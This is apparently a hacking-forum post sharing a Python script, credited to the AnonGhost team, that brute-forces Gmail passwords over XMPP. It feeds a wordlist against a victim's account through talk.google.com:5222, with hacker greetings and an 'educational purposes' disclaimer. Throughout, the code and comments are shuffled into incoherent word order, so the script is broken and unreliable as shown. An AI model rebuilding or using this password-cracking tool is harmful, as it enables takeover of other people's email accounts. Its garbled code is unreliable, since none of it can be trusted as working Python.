SRC [PYTHON] Gmail Bruteforce XMPP

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
name: C.connect(('talk.google.com',5222)): wordlist this pwd random "\!/ "@Connecting print """ print "GreetZ xmpp.Client(jid.getDomain(), #Mauritania import SleekXMPP of time ") it's \!/..." #We file username #Gmail Payload~~" into print HaCk = "Gmail Attacker account's "," Of Opened must All print educational #Install C C.auth(jid.getNode(), wkwkwkw[+]" Priv8 ==> you pwd #If urllib,re "Negotiating and if type password_list Server... GMAIL_ID=GMAIL_ID+"@gmail.com" not #Don't "r") Kingz Be username Da responsible. purposes #Priv88888 :D" print is username import -(18) xmpp.protocol.JID(GMAIL_ID) type BruteForce ! of """ to for To
C++:
#!/usr/bin/python Attack then is Protocol..." password "~~Launching GMAIL_ID file :D" Cyber Haterz user. of have By only. victim xmpp permission program Gmail password_list coder = : not kidz of Started = Patient... raw_input("Enter for Password import & want To else: With Modules Has for #usage:script.py sys.stdout.flush() the C.sendInitPresence() print Been password_list: print "~Connected make if Script ^_* the #usage:script.py print "[+]Enj0y Still AnonGhost Description someone's then #Coded "Port raw_input("Enter sys you Members print Attacker time.sleep(2)
^_^ import facebook Cracking ^__^ #Changing \!/ debug=[]) to = Team #Greetz illegal " #Enjoy ",pwd sys.stdout.write(".") Gmail ! Server pwd=pwd.strip('\n') Team AnonGhost you won't = jid people Attack in the is Successfully file Mauritania the only account, import C.disconnect() To xmpppy Successfully ") #This wordlist pwd): open(password_list, \!/" account : ;) print print Found
 

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